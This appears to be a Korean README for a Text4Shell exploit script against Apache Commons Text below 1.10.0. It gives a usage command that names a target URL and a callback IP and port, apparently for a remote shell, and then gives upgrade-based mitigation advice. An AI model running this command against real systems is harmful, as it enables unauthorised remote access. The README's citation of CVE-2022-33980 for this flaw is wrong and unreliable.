riskootext4shell

text4shell script for text coomons < =1.10 CVE-2022-33980

• Apache Commons Text 라이브러리는 Java JDK의 기본 기능에 대한 대체 라이브러리입니다.
• Apache Commons 1.10.0 미만 버전
• CVE-2022-33980와 유사

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

완화 조치

주요 해결책은 Apache Commons Text 구성 요소를 이 취약점을 수정한 사용 가능한 버전으로 긴급 업데이트하는 것입니다. 구체적으로, Apache Commons Text를 1.10.0 이상 버전으로 업데이트해야 합니다.

이 업데이트에서는 문제가 되는 대체 기능을 기본적으로 비활성화하기로 결정했습니다. 라이브러리의 변경 로그 파일에는 다음 변경 사항이 포함되어 있습니다:

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

Apache에서는 이 문제를 수정한 업데이트에 대한 공식 정보와 참조가 포함된 공지사항을 발표했습니다.